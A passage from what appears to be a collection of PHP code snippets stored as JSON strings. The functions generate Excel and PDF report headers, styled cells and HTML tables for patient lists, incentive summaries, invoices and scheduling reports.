strval($v->patient_noktp));\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('D' . $no, $v->patient_name);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('E' . $no, $v->patient_sex);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('F' . $no, $v->patient_datebirth);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('G' . $no, $v->patient_religion);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('H' . $no, $v->patient_job);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('I' . $no, $v->patient_phone);\n\t\t\t\t \n\t\t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t\t\t$this->excel->getActiveSheet()->setCellValue('J' . $no, $v->patient_address);\n\t\t\t\t\t\t\n\t\t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('K' . $no, $v->patient_registerdate);\n\t\t\t\t\n\t\t\t\t$no++;\n \t\t\t$nomor++;\n \t\t}\n \n \t\t$this->excel->getActiveSheet()->getStyle('A2:K' . ($no - 1))->applyFromArray($styleArray);\n \t\tob_end_clean();\n \t\t$filename = 'Daftar Pasien Aplikasi SN Health Center.xls'; //save our workbook as this file name\n \t\theader('Content-Type: application/vnd.ms-excel'); //mime type\n \t\theader('Content-Disposition: attachment;filename=\"' . $filename . '\"'); //tell browser what's the file name\n \t\theader('Cache-Control: max-age=0'); //no cache\n \t\t$objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5');\n \t\t$objWriter->save('php://output');\n \n \t\tredirect('admin/patient');\n \t\t}", "public function createExcelReport(\\PhpOffice\\PhpSpreadsheet\\Spreadsheet $spreadSheet){\n\t\t$wsResumen = new \\PhpOffice\\PhpSpreadsheet\\Worksheet\\Worksheet($spreadSheet, 'Resumen');\n\t\t$wsDatos = new \\PhpOffice\\PhpSpreadsheet\\Worksheet\\Worksheet($spreadSheet, 'Datos');\n\t\t//2. Escribe los datos sobre las hojas de cáculo\n\t\t//2.1. Escribe lo datos de la primera hoja\n\t\t//2.1.1. Inconsistencias por tipo\n\t\t$wsResumen->setCellValue(\"A3\",\"Inconsistencias por tipo\");\n\t\t$wsResumen->setCellValue(\"A4\",\"Desfase horario\");\n\t\t$wsResumen->setCellValue(\"A5\",\"Programación no coincide\");\n\t\t$wsResumen->setCellValue(\"A6\",\"Otros\");\n\t\t$wsResumen->setCellValue(\"A7\",\"Total\");\n\t\t//2.1.2. Inconsistencias por motivo\n\t\t$wsResumen->setCellValue(\"A9\",\"Inconsistencias por motivo\");\n\t\t$wsResumen->setCellValue(\"A10\",\"Origen\");\n\t\t$wsResumen->setCellValue(\"A11\",\"Error humano\");\n\t\t$wsResumen->setCellValue(\"A12\",\"Evento en vivo\");\n\t\t$wsResumen->setCellValue(\"A13\",\"Total\");\n\t\t//2.1.3. Inconsistencias por programadora\n\t\t$wsResumen->setCellValue(\"A15\",\"Inconsistencias por casa programadora\");\n\n\t\t//2.2. Escribe lo datos de la segunda hoja\n\t\t$wsDatos->setCellValue(\"A1\",\"Fecha-Hora Reporte\");\n\t\t$wsDatos->setCellValue(\"B1\",\"Fecha-Hora Evento\");\n\t\t$wsDatos->setCellValue(\"C1\",\"ID Evento\");\n\t\t$wsDatos->setCellValue(\"D1\",\"Título Evento\");\n\t\t$wsDatos->setCellValue(\"E1\",\"ID Canal\");\n\t\t$wsDatos->setCellValue(\"F1\",\"Nombre Canal\");\n\t\t$wsDatos->setCellValue(\"G1\",\"Casa Programadora\");\n\t\t$wsDatos->setCellValue(\"H1\",\"Tipo Error\");\n\t\t$wsDatos->setCellValue(\"I1\",\"Motivo Error\");\n\t\t$wsDatos->setCellValue(\"J1\",\"Desafase\");\n\t\t$wsDatos->setCellValue(\"K1\",\"Transmitiendo\");\n\t\t$wsDatos->setCellValue(\"L1\",\"Usuario\");\n\n\t\t$totals = $this->calculateTotals();\n\t\t$wsResumen = $this->setResumenPage($wsResumen,$totals);\n\t\t$wsDatos = $this->setDataPage($wsDatos);\t\t\n\t\t//Vincula las hojas al documento\n\t\t$spreadSheet->addSheet($wsResumen, 0);\n\t\t$spreadSheet->addSheet($wsDatos, 1);\n\t\treturn $spreadSheet;\n\n\n\t}", "function table_table_header_row($values)\n{\n\t$cells=new ocp_tempcode();\n\tforeach ($values as $value)\n\t{\n\t\t$cells->attach(do_template('TABLE_TABLE_HEADER_ROW_CELL',array('_GUID'=>'5002f54ccddf7259f3460d8c0759fd1a','VALUE'=>$value)));\n\t}\n\n\treturn do_template('TABLE_TABLE_HEADER_ROW',array('_GUID'=>'2f4095b8d30f50f34fdd6acf8dd566b1','CELLS'=>$cells));\n}", "function TituloCampos()\n\t{\n\t\t$this->SetFillColor(244,249,255);\n\t\t$this->SetDrawColor(225,240,255);\n\t\t$this->SetLineWidth(.2);\n\t\t//dimenciones de cada campo\n\t\t$w=array(10,70,25,20,20,25,80);\n\t\t$header=array(strtoupper(_('nro')),strtoupper(_('Estacion de trabajo')),strtoupper(_('reporte z')),strtoupper(_('fecha')),strtoupper(_('hora')),strtoupper(_('TOTAL')),strtoupper(_('OBSERVACION')));\n\t\t$this->SetFont('Arial','B',9);\n\t\t$this->SetX(15);\n\t\tfor($k=0;$k<count($header);$k++)\n\t\t\t$this->Cell($w[$k],7,$header[$k],1,0,'J',1);\n\t\t$this->Ln();\n\t\treturn $w;\n\t}", "function printCell($data,$total,$col,$field,$file_name,$module,$data2,$incentive_ytd,$incentive_type,$period,$created_date,$modified_date){\n\t\t$j = 1;\n\t\t$total = $total;\n\t\t$field_count = count($field);\n\t\t$c_count = $field_count-1;\n\t\t$k = 0;\n\t\t\n\t\t// for view incentive 1\n\t\tif($module == 'view_incentive1'){\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('A1', 'Employee');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('A1')->setAutoSize(true);\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('B1', $data2['employee']);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('A2', 'Incentive Type');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('A2')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('A2')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('B2', $incentive_type);\n\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('A3', 'Period');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('A3')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('A3')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('B3', $period);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('A4', 'Productivity %');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('A4')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('A4')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('B4', $data2['productivity']);\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('B4')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_LEFT);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('A5', 'Incentive Amount (In Rs.)');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('A5')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('A5')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('B5', $data2['eligible_incentive_amt']);\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('B5')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_LEFT);\n\t\t\t\t\t\t\t\n\t\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('C1', 'No. of Candidates Interviewed');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('C1')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('C1')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('D1', $data2['interview_candidate']);\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('D1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_LEFT);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('C2', 'Individual Contribution - YTD (In Rs.)');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('C2')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('C2')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('D2', $incentive_ytd);\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('D2')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_LEFT);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('C3', 'Created Date');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('C3')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('C3')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('D3', $created_date);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('C4', 'Modified Date');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('C4')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('C4')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('D4', $modified_date);\n\n\t\t\t// iterate the multiple rows\n\t\t\tfor($i = 8; $i <= $total+7; $i++){\n\t\t\t\tfor($j = 0; $j < $field_count; $j++){\n\t\t\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue($col[$j] . $i, strip_tags($data[$k][$field[$j]]));\n\t\t\t\t}\n\t\t\t\t$k++;\n\t\t\t}\n\t\t\n\t\t}elseif($module == 'view_incentive2'){\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('A1', 'Employee');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('A1')->setAutoSize(true);\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('B1', $data2['employee']);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('A2', 'Incentive Type');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('A2')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('A2')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('B2', $incentive_type);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('A3', 'Period');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('A3')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('A3')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('B3', $period);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('A4', 'Min. Performance Target (In Rs.)');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('A4')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('A4')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('B4', $data2['incentive_target_amt']);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('A5', 'Actual Individual Contribution (In Rs.)');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('A5')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('A5')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('B5', $data2['achievement_amt']);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('C1', 'Incentive Amount (In Rs.)');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('C1')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('C1')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('D1', $data2['eligible_incentive_amt']);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('C2', 'No. of Candidates Billed');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('C2')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('C2')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('D2', $data2['candidate_billed']);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('C3', 'Individual Contribution - YTD (In Rs.)');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('C3')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('C3')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('D3', $incentive_ytd);\n\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('C4', 'Created Date');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('C4')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('C4')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('D4', $created_date);\n\t\t\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('C5', 'Modified Date');\n\t\t\t$this->objPHPExcel->getActiveSheet()->getStyle('C5')->getFont()->setBold(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension('C5')->setAutoSize(true);\t\n\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue('D5', $modified_date);\n\t\t\n\t\t\t// iterate the multiple rows\n\t\t\tfor($i = 9; $i <= $total+8; $i++){\n\t\t\t\tfor($j = 0; $j < $field_count; $j++){\n\t\t\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue($col[$j] . $i, strip_tags($data[$k][$field[$j]]));\n\t\t\t\t}\n\t\t\t\t$k++;\n\t\t\t}\n\t\t}else{\n\t\t\tfor($i = 2; $i <= $total+1; $i++){\n\t\t\t\tfor($j = 0; $j < $field_count; $j++){ \n\t\t\t\t\t$this->objPHPExcel->getActiveSheet()->setCellValue($col[$j] . $i, strip_tags($data[$k][$field[$j]]));\n\t\t\t\t}\n\t\t\t\t$k++;\n\t\t\t}\t\t\t\n\t\t}\n\t\t\n\t\t// auto size for columns \n\t\tforeach(range('A',\"$col[$c_count]\") as $columnID) {\n\t\t\t$this->objPHPExcel->getActiveSheet()->getColumnDimension($columnID)->setAutoSize(true);\n\t\t}\t\n\t\t// set the header\n\t\t$this->setHeader($file_name);\n\t}", "function setHeader($file_name){\t\n\t\t// echo date('H:i:s') , \" Set header/footer\" , EOL;\n\t\t$this->objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddHeader('&L&G&C&HPlease treat this document as confidential!');\n\t\t$this->objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddFooter('&L&B' . $this->objPHPExcel->getProperties()->getTitle() . '&RPage &P of &N');\n\t\t// Set page orientation and size\n\t\t$this->objPHPExcel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n\t\t$this->objPHPExcel->getActiveSheet()->getPageSetup()->setPaperSize(PHPExcel_Worksheet_PageSetup::PAPERSIZE_A4);\n\t\t// Rename worksheet\n\t\t// echo date('H:i:s') , \" Rename worksheet\" , EOL;\n\t\t$this->objPHPExcel->getActiveSheet()->setTitle($file_name);\n\t\t// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n\t\t$this->objPHPExcel->setActiveSheetIndex(0);\n\t\t// download the excel file\n\t\t$this->output($file_name);\n\t}", "public function createReport()\n {\n foreach($this->_data as $data)\n {\n //$data must have id and data elements\n //$data may also have config, header, footer, group\n\n $id=$data['id'];\n $format=isset($data['format'])?$data['format']:array();\n $config=isset($data['config'])?$data['config']:array();\n $group=isset($data['group'])?$data['group']:array();\n\n $configHeader=isset($config['header'])?$config['header']:$config;\n $configData=isset($config['data'])?$config['data']:$config;\n $configFooter=isset($config['footer'])?$config['footer']:$config;\n\n $config=array(\n 'header'=>$configHeader,\n 'data'=>$configData,\n 'footer'=>$configFooter\n );\n\n //set the group\n $this->_group=$group;\n\n $loadCollection=array();\n\n $nextRow=$this->objWorksheet->getHighestRow();\n if($nextRow>1)\n $nextRow++;\n $colIndex=-1;\n\n //form the header for data\n if(isset($data['header']))\n {\n $headerId='HEADER_'.$id;\n foreach($data['header'] as $k=>$v)\n {\n $colIndex++;\n $tag=\"{\".$headerId.\":\".$k.\"}\";\n $this->objWorksheet->setCellValueByColumnAndRow($colIndex,$nextRow,$tag);\n if(isset($config['header'][$k]['width']))\n $this->objWorksheet->getColumnDimensionByColumn($colIndex)->setWidth(pixel2unit($config['header'][$k]['width']));\n if(isset($config['header'][$k]['align']))\n $this->objWorksheet->getStyleByColumnAndRow($colIndex,$nextRow)->getAlignment()->setHorizontal($config['header'][$k]['align']);\n }\n\n if($colIndex>-1)\n {\n $this->objWorksheet->getStyle(PHPExcel_Cell::stringFromColumnIndex(0).$nextRow.':'.PHPExcel_Cell::stringFromColumnIndex($colIndex).$nextRow)->applyFromArray($this->_headerStyleArray);\n }\n\n //add header row to load collection\n $loadCollection[]=array('id'=>$headerId,'data'=>$data['header']);\n\n //move to next row for data\n $nextRow++;\n }\n\n\n //form the data repeating row\n $dataId='DATA_'.$id;\n $colIndex=-1;\n\n //form the template row\n if(count($data['data'])>0)\n {\n //we just need first row of data, to see array keys\n $singleDataRow=$data['data'][0];\n foreach($singleDataRow as $k=>$v)\n {\n $colIndex++;\n $tag=\"{\".$dataId.\":\".$k.\"}\";\n $this->objWorksheet->setCellValueByColumnAndRow($colIndex,$nextRow,$tag);\n if(isset($config['data'][$k]['align']))\n $this->objWorksheet->getStyleByColumnAndRow($colIndex,$nextRow)->getAlignment()->setHorizontal($config['data'][$k]['align']);\n }\n }\n\n //add this row to collection for load but with repeating\n $loadCollection[]=array('id'=>$dataId,'data'=>$data['data'],'repeat'=>true,'format'=>$format);\n $this->enableStripRows();\n\n //form the footer row for data if needed\n if(isset($data['footer']))\n {\n $footerId='FOOTER_'.$id;\n $colIndex=-1;\n $nextRow++;\n\n //formiraj template\n foreach($data['footer'] as $k=>$v)\n {\n $colIndex++;\n $tag=\"{\".$footerId.\":\".$k.\"}\";\n $this->objWorksheet->setCellValueByColumnAndRow($colIndex,$nextRow,$tag);\n if(isset($config['footer'][$k]['align']))\n $this->objWorksheet->getStyleByColumnAndRow($colIndex,$nextRow)->getAlignment()->setHorizontal($config['footer'][$k]['align']);\n }\n if($colIndex>-1)\n {\n $this->objWorksheet->getStyle(PHPExcel_Cell::stringFromColumnIndex(0).$nextRow.':'.PHPExcel_Cell::stringFromColumnIndex($colIndex).$nextRow)->applyFromArray($this->_footerStyleArray);\n }\n\n //add footer row to load collection\n $loadCollection[]=array('id'=>$footerId,'data'=>$data['footer'],'format'=>$format);\n }\n\n $this->load($loadCollection);\n $this->generateReport();\n }\n }", "function generateTitle($header, $data)\n\t{\n\t\t$this->SetFillColor(63,73,204);\n\t\t$this->SetTextColor(255);\n\t\t$this->SetDrawColor(18,0,0);\n\t\t$this->SetLineWidth(.1);\n\t\t$this->SetFont('','B');\n\t\t// Header\n\t\t$w = array(70, 25, 30, 20,30,35,25);\n\t\tfor($i=0;$i<count($header);$i++)\n\t\t\t$this->Cell($w[$i],7,$header[$i],1,0,'C',true);\n\t\t$this->Ln();\n\t\t// Color and font restoration\n\t\t$this->SetFillColor(224,235,255);\n\t\t$this->SetTextColor(0);\n\t\t$this->SetFont('');\n\t\t// Data\n\t\t$fill = false;\n\t\tforeach($data as $row)\n\t\t{\n\t\t\t$this->Cell($w[0],6,$row[0],'LR',0,'L',$fill);\n/*\t\t\t$this->Cell($w[1],6,$row[1],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[2],6,$row[2],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[3],6,$row[3],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[4],6,$row[4],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[5],6,$row[5],'LR',0,'C',$fill);*/\n\t\t\t$this->Ln();\n\t\t\t$fill = !$fill;\n\t\t}\n\t\t// Closing line\n\t\t$this->Cell(array_sum($w),0,'','T');\n\t}", "function Header()\n\t{\n\t\t$this->SetFont('Arial','',12);\n\t\t$this->MultiCell(190,5,nombre_empresa(),'0','C');\n\t\t$this->SetFont('Arial','',10);\n\t\t$this->MultiCell(190,5,tipo_serv(),'0','C');\n\t\t$this->SetFont('Arial','B',10);\n\t\t$this->SetTextColor(0,0,0);\n\t\t$this->MultiCell(190,7,strtoupper(_('listado de clientes para cortes')),'0','C');\n\t\t$this->SetFont('Arial','B',8);\n\t\t$this->SetX(133);\n\t\t$this->Cell(12,5,strtoupper(_('fecha')).': ',0,0,'L');\n\t\t$this->SetFont('Arial','',8);\n\t\t$this->Cell(18,5,date(\"d/m/Y\"),0,0,'L');\n\t\t$this->SetFont('Arial','B',8);\n\t\t$this->Cell(12,5,strtoupper(_('hora')).': ',0,0,'L');\n\t\t$this->SetFont('Arial','',8);\n\t\t$this->Cell(18,5,date(\"h:i:s A\"),0,0,'L');\n\t\t$this->Ln();\t\t\n\t}", "public static function excelSkillsHeadingsMYSQL()\n {\n return [\n 'skills' => 'Skill type',\n 'agriculture' => 'Agriculture forestry and fishing',\n 'mining' => 'Mining',\n 'manufacturing' => 'Manufacturing',\n 'electricity' => 'Electricity gas water and waste services',\n 'construction' => 'Construction',\n 'w_trade' => 'Wholesale trade',\n 'r_trade' => 'Retail trade',\n 'accommodation' => 'Accommodation and food services',\n 'transport' => 'Transport postal and warehousing',\n 'ict' => 'Information media and telecommunications',\n 'financial' => 'Financial and insurance services',\n 'r_estate' => 'Rental hiring and real estate services',\n 'professional' => 'Professional scientific and technical services',\n 'admin' => 'Administrative and support services',\n 'public' => 'Public administration and safety',\n 'education' => 'Education and training',\n 'health' => 'Health care and social assistance',\n 'arts' => 'Arts and recreation services',\n 'o_services' => 'Other services',\n 'sa_state' => 'South australia'\n ];\n }", "protected function draw_groupsHeaderHorizontal()\n {\n // $this->output->setColumnNo(0);\n $lastcolumno = $this->output->getColumnNo();\n $this->output->setColumnNo(0);\n $this->draw_groupsHeader();\n $this->output->setColumnNo($lastcolumno);\n $this->currentRowTop = $this->output->getLastBandEndY();\n \n //output print group\n //set callback use next page instead\n // echo 'a'; \n }", "public function renderDivisionHeader(string $division, string $parent = 'DefaultProperties'): void;", "static function generateTableHeaderHTML()\n\t{\n\t\techo \"<tr class='exTableRow'>\\n\";\n\t\techo \"<th class='exTableColLineNum'>Item #</th>\\n\";\n\t\techo \"<th class='exTableColDesc'>Description of Work</th>\\n\";\n\t\techo \"<th class='exTableColAmount'>Amount</th>\\n\";\n\t\techo \"</tr>\\n\";\n\t}", "protected function getReportSections() {\n return array(\n 'iops-linear-time' => 'WSAT IOPS (Linear) vs Time (Linear)',\n 'iops-log-time' => 'WSAT IOPS (LOG) vs Time (Linear)',\n 'iops-linear-tgbw' => 'WSAT IOPS (Linear) vs TGBW (Linear)',\n 'iops-log-tgbw' => 'WSAT IOPS (Log) vs TGBW (Linear)'\n );\n }", "function subHeader_Factura($senavex_nit,$senavex_factura,$senavex_autorizacion)\n {\n $this->SetXY(50,38);\n $this->SetFont('Times', 'B', 12);\n $this->Cell(20,5,'NIT :',0,0,'L');\n $this->Cell(28,5,$senavex_nit.' ',0,0,'L');\n\n $this->SetXY(135,46);\n $this->SetFont('Times', 'B', 16);\n $this->Cell(28,4,utf8_decode('N° Factura :'),0,0,'L');\n $this->SetTextColor(255,100,100);\n $this->Cell(30,4,$senavex_factura.' ',0,0,'R');\n $this->SetTextColor(80);\n\n $this->SetXY(135,54);\n $this->SetFont('Times', 'B', 10);\n $this->Cell(28,4,utf8_decode('N° Autorización : '),0,0,'C');\n $this->SetFont('Times', '', 10);\n $this->Cell(30,4,$senavex_autorizacion.' ',0,0,'C');\n\n $this->SetXY(141,61);\n $this->SetFont('Arial', 'B', 10);\n $this->Cell(40,4,utf8_decode('Servicios Exportación'),0,0,'C');\n }", "function outputFormat(array $headers, array $cells, $result, $content_name) {\necho '<h3>'.ucfirst($content_name).' Content</h3>';\necho '<table>';\nforeach ($headers as $val) {\necho '<th>'.$val.'</th>';\n}\nwhile($row = mysqli_fetch_array($result))\n {\n echo '<tr>';\n foreach ($cells as $val) {\n echo '<td>'.$row[$val].'</td>';\n }\n echo '</tr>';\n }\n echo '</table>';\n}", "public function setColumnsHeadData()\n\t{\n\t\tFileStorage::getInstance()->store([], 'league_table_columns_head');\n\t}", "protected function addheader($filename)\n {\n $excelObject = PHPExcel_IOFactory::load($filename);\n //$excelObject = new PHPExcel();\n $excelObject->getProperties()\n ->setCreator(\"Gemstracker\")\n ->setLastModifiedBy(\"Gemstracker\")\n ->setTitle($this->model->getName());\n\n $activeSheet = $excelObject->getActiveSheet();\n\n $columnHeaders = $this->getColumnHeaders();\n $row = 1;\n\n $exportName = $this->getName();\n\n $i=0;\n $cell = 'A1';\n foreach($columnHeaders as $columnName=>$columnHeader) {\n $column = $this->getColumn($i);\n $cell = $column . $row;\n if (isset($this->data[$exportName]) && isset($this->data[$exportName]['format']) && in_array('formatVariable', $this->data[$exportName]['format'])) {\n $activeSheet->setCellValue($cell, $columnHeader);\n } else {\n $activeSheet->setCellValue($cell, $columnName);\n }\n if ($excelCellSize = $this->model->get($columnName, 'excelCellSize')) {\n $activeSheet->getColumnDimension($column)->setWidth($excelCellSize);\n } else {\n $activeSheet->getColumnDimension($column)->setAutoSize(true);\n }\n $i++;\n }\n\n 